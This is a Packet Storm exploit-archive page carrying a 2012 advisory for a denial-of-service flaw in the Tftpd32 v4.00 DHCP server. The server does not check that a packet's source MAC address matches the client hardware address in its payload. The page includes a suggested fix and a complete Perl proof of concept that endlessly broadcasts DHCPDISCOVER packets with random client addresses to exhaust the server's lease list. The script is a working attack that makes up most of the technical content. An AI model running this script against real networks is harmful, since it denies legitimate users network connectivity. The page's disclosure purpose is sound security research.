exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Tftpd32 DHCP Serve 4.00 Denial Of Service

Tftpd32 DHCP Serve 4.00 Denial Of Service
Posted May 23, 2012
Authored by demonalex

Tftpd32 DHCP server version 4.00 suffers from a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | 1a342e796ff5f970ca9b1981321d23fdbb89c169be041e74c062f6901144040a

Tftpd32 DHCP Serve 4.00 Denial Of Service

Change Mirror Download
Title: Tftpd32 DHCP Server Denial Of Service Vulnerability
Software : Tftpd32

Software Version : v4.00

Vendor: http://tftpd32.jounin.net/

Vulnerability Published : 2012-05-21

Vulnerability Update Time :

Status :

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
Tftpd32 is a free tftp and dhcp server for windows, freeware tftp server.
The tftpd32's dhcp server does not identify whether the real source mac address of dhcp discover packet is the same as client hardware address in payload of

dhcp discover packet, so that attacker can makes evil dhcp discover packets to cram dhcp client list of the dhcp server, and then no one can gain ip address

from the dhcp server.

Solution :
Like the other dhcp server, the tftpd32's dhcp server can drop the dhcp discover packet when it was detected the different between source mac address of dhcp

discover packet and client hardware address in payload of dhcp discover packet.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl
use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;
$a=1;
while(1){
print "\Request Number : $a\n";

$mac=int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).
int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9));

$socket = IO::Socket::INET->new( Proto => 'udp',
Broadcast => 1,
LocalPort => 68,
PeerAddr =>'255.255.255.255',
PeerPort => 67,
) || die "Unable to create socket: $@\n";

$discover = Net::DHCP::Packet->new(
xid => int rand(0xFFFFFFFF),
Chaddr => $mac,
DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER(),
DHO_VENDOR_CLASS_IDENTIFIER() => 'MyVendorClassID',
DHO_DHCP_PARAMETER_REQUEST_LIST() => '1 2 6 12 15 28 67');

$discover->addOptionRaw( 61, pack('H*',$mac));

print "Sending DISCOVER to 255.255.255.255:67\n";

$socket->send( $discover->serialize() ) or die "Unable to send Discover:$!\n";

$socket->close();

sleep(3);

$a++;
}
exit(1);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close